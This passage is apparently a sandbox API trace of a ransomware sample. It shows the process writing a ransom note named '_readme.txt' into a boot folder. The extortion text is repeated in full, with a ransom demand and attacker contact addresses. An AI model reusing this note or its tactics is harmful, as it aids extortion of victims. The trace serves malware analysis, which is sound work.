(HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.287] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.287] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.288] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.288] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.288] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.288] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.288] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.288] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.288] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.288] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.288] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.288] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.288] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.288] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.288] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.288] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.288] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.288] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.288] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.288] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.288] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.288] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.288] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.288] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.288] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.288] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.288] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.288] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.288] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.288] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.288] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.288] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.288] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.289] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.289] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.289] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.289] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.289] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.289] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.289] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.289] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.289] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.289] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.289] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.289] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.289] PathFindFileNameW (pszPath="C:\\Boot\\pt-BR\\") returned="pt-BR\\" [0059.289] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.289] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0059.289] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.289] PathFindFileNameW (pszPath="") returned="" [0059.289] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.289] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0059.290] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0059.290] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x800) returned 0x306a418 [0059.290] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x306a418 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0059.290] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x810) returned 0x30c8ab8 [0059.290] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.290] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0059.290] PathAppendW (in: pszPath="C:\\Boot\\pt-BR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\pt-BR\\_readme.txt") returned 1 [0059.290] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.290] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.290] PathFileExistsW (pszPath="C:\\Boot\\pt-BR\\_readme.txt") returned 0 [0059.291] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x7d00) returned 0x312a418 [0059.291] lstrcpyW (in: lpString1=0x312a418, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd" [0059.291] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd", lpString2="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e" [0059.291] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c9340 [0059.291] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\_readme.txt" (normalized: "c:\\boot\\pt-br\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c0 [0059.291] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x930) returned 0x3100c28 [0059.291] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x894) returned 0x3068dd8 [0059.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x3068dd8, cbMultiByte=2196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 1173 [0059.291] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8a0) returned 0x3132120 [0059.291] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.291] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0059.292] lstrlenA (lpString="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e") returned 1172 [0059.292] WriteFile (in: hFile=0x5c0, lpBuffer=0x3132120*, nNumberOfBytesToWrite=0x494, lpNumberOfBytesWritten=0x9aafb64, lpOverlapped=0x0 | out: lpBuffer=0x3132120*, lpNumberOfBytesWritten=0x9aafb64*=0x494, lpOverlapped=0x0) returned 1 [0059.292] CloseHandle (hObject=0x5c0) returned 1 [0059.293] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132120 | out: hHeap=0x670000) returned 1 [0059.293] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c9340 | out: hHeap=0x670000) returned 1 [0059.293] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a418 | out: hHeap=0x670000) returned 1 [0059.293] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.293] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.293] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13c22630, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c22630, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.293] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.293] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13c22630, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c22630, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.293] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0059.293] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13c22630, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13c22630, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c22630, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0059.293] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13c22630, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13c22630, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c22630, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0059.293] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.293] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.293] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5360 | out: hHeap=0x670000) returned 1 [0059.293] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5360 [0059.293] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.293] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.293] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.293] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.293] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.293] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.294] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.294] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.294] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.294] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.294] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.294] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.294] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.294] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.294] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.294] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.294] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.294] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.294] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.294] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.294] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.294] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.294] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.294] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.294] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.294] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.294] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.294] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.294] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.294] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.294] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.294] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.294] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.294] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.294] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.294] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.294] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.294] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.295] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.295] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.295] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.295] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.295] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.295] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.295] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.295] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.295] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.295] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.295] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.295] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.295] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.295] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.295] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.295] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.295] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.295] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.295] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.295] 